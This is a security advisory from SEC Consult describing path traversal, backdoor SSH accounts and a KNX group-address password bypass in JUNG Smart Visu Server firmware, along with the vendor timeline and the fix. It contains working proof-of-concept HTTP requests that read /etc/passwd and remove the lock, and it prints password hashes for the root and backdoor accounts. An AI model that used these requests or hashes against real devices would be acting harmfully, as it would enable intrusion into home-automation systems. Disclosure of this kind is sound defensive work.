Path Traversal, Backdoor accounts & KNX group address on JUNG Smart Visu Server

Title

Path Traversal, Backdoor accounts & KNX group address password bypass

Product

JUNG Smart Visu Server

Vulnerable Version

Firmware v1.0.804/1.0.830/1.0.832

Fixed Version

Firmware v1.0.900

CVE Number

-

Impact

critical

Found

10.11.2016

By

Thomas Weber (Office Vienna) | SEC Consult Vulnerability Lab

Attackers can dump password hashes and other available data from the operating system of the JUNG Smart Visu Server. An attacker is able to access and control the Smart Visu Server if he is able to crack the hashes. The group address password can be removed by using a single PUT-Request.

Vendor description:
-------------------
"JUNG provides equipment and systems that win over by advanced technology,
sophisticated design, and a large variety of features. On the one hand, 
our portfolio includes switches, socket outlets, dimmer, and observers. 
On the other, it includes innovative systems for controlling features in 
your home. From lighting, blind, or temperature control to wireless and 
KNX technologies, door communication, and multimedia control, a large 
range of applications is covered. In addition to comfort and security, 
also the requirements regarding cost-effectiveness and energy efficiency
are met."

Source: https://www.jung.de/en/9243/company/

 

Business recommendation:
------------------------
Attackers are able to gain root access through SSH with the credentials of
the backdoor user account. A attacker can also unlock the group address 
protection for the KNX device mapping.

JUNG has provided updated firmware which should be installed immediately.

SEC Consult recommends not to use this product in a production environment
until a thorough security review has been performed by security professionals
and all identified issues have been resolved.


Vulnerability overview/description:
-----------------------------------
1) Path Traversal Vulnerability
The Smart Visu Server runs with root privileges and is vulnerable to path 
traversal. This leads to full information disclosure of all files on the 
system.

2) Backdoor Accounts
Two undocumented operating system user accounts are present on the appliance.
They can be used to gain access to the Smart Visu Server via SSH.

3) Group Address (GA) unlock without Password
As protection functionality, the KNX group address can be locked with a
user-defined password. This password can be removed by using a single PUT
request. An attacker can completely change the configuration of the connected
devices (e.g. a light switch in the kitchen can be swapped with the air 
conditioner).


Proof of concept:
-----------------
1) Path Traversal Vulnerability
The Smart Visu Server is vulnerable to path traversal by sending the 
following GET-Request:

------------------------------------ Request --------------------------------
GET /SV-Home//..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1
Host: <IP-Address>
[...]

----------------------------------- Response --------------------------------
HTTP/1.1 200 OK
Content-Disposition: inline;filename="passwd"
[...]

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]
-----------------------------------------------------------------------------

2) Backdoor Accounts
Two undocumented operating system user accounts are present on the appliance.
They can be used to gain access to Smart Visu Server over SSH on Port 55555.Excerpt of the shadow file:

root:$6$Zcv.yVRg$0OfnoSEEWdP4K/2z5Mm/56nfGbdAPl4ZSm3oDWqn3fMD9cXfZCov7O/siheuYggHxuqHvZQ7nPSBM5BcbrH9n.:16840:0:99999:7:::
daemon:*:15914:0:99999:7:::
[...]
avahi:*:16541:0:99999:7:::
jung:$6$1SblJl3F$q6h6vfSC.IataQSqDNGw0wGvV8m/x8uLozBIj4Yj.ZzMoHbaMvzb2tR.B45I/ajsWpwkTcCNGjSZsLdC9IuzD.:16714:0:99999:7:::

3) Group Address (GA) unlock without Password
The following PUT request sends a JSON object to the server, which removes the password:

------------------------------------ Request --------------------------------
PUT /rest/items/knxcom_datastore HTTP/1.1
Host: <IP-Address>
[...]

{"groupNames":[],"name":"knxcom_datastore","label":"knxcom_datastore","type":"GroupItem","tags":["{\"lock_ga\":false}"]}
-----------------------------------------------------------------------------


Vulnerable / tested versions:
-----------------------------
Firmware version 1.0.804, 1.0.830 and 1.0.832 have been tested and found to be
vulnerable.


Vendor contact timeline:
------------------------
2016-11-21: Contacting vendor through kundencenter@jung.de, mail.vka@jung.de
2016-12-02: Initial phone call with vendor. Advisory sent as encrypted archive.
2016-12-16: Call with vendor. Patch will be available in January 2017.
2017-01-09: Call with vendor. Patch will be approximately available in CW4. Release shifted to 2017-01-30.
2017-01-25: Call with vendor. Patch is stable in version 1.0.900 and will be released on 2017-02-07 in CW5. Shifted release of advisory to 2017-02-07.
2017-02-07: Public release of advisory


Solution:
---------
Upgrade to firmware version 1.0.900 which is being provided by JUNG  
through automatic updates.


Workaround:
-----------
None.


Advisory URL:
-------------

www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?

Send us your application www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult? 

Contact our local offices www.sec-consult.com/en/About/Contact.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com

Web: www.sec-consult.com


Blog: blog.sec-consult.com


Twitter: twitter.com/sec_consult

EOF T. Weber / @2017